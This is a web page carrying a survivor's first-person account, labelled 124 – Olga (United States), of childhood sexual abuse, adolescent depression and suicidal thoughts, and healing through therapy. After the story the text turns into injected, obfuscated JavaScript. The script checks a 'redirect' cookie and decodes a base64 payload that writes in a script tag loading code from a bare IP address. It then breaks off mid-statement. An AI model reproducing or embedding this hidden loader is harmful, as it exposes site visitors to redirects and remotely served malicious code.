124 – Olga (United States)

I was sexually assaulted as a child, around the age of 4. While my mother had gone to the authorities, the professionals had told her that I was too young to remember the attacks and that the trauma would dissipate itself. They had said that the trial would be more damaging to me than the sexual assault. As I entered adolescence I had always felt that there was a dark pool within myself. As nighttime would approach I would feel this intense depression, isolation, repulsive feelings within myself. I had no idea why. I struggled with depression as a teenager enormously; I used to play a game with myself. If could find nothing to live for, for one week, then I would end my life. Fortunately, I never went an entire week without finding one thing to be happy about. As a teenager, I acted out enormously and had conduct disorder symptoms. While I always had straight A’s in school, my life in every other aspect was dysfunctional. I sought out environmental situations that were destructive to my mental health and wellbeing. After an intense altercation with an ex-boyfriend my mother decided I needed to go to therapy to find out why I was placing myself into such horrible situations. In therapy, I realized that the sexual abuse was the reason I had always felt so dirty and shameful. It was the reason I was so depressed and numb inside. The connection is obvious, but I needed to talk about my ordeal and work through it with a professional. Through therapy I learned to love myself, to value myself, and accept the sexual abuse. My self worth skyrocketed. I used to feel as if I was in a pool filled with darkness and that I would never reach the surface, never really breathing, drowning and overcome with dark depression. The depression and the shame would overwhelm me. Through therapy, I was able to get out of that pool, to reach the surface and not only breathe but also enthusiastically swim. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘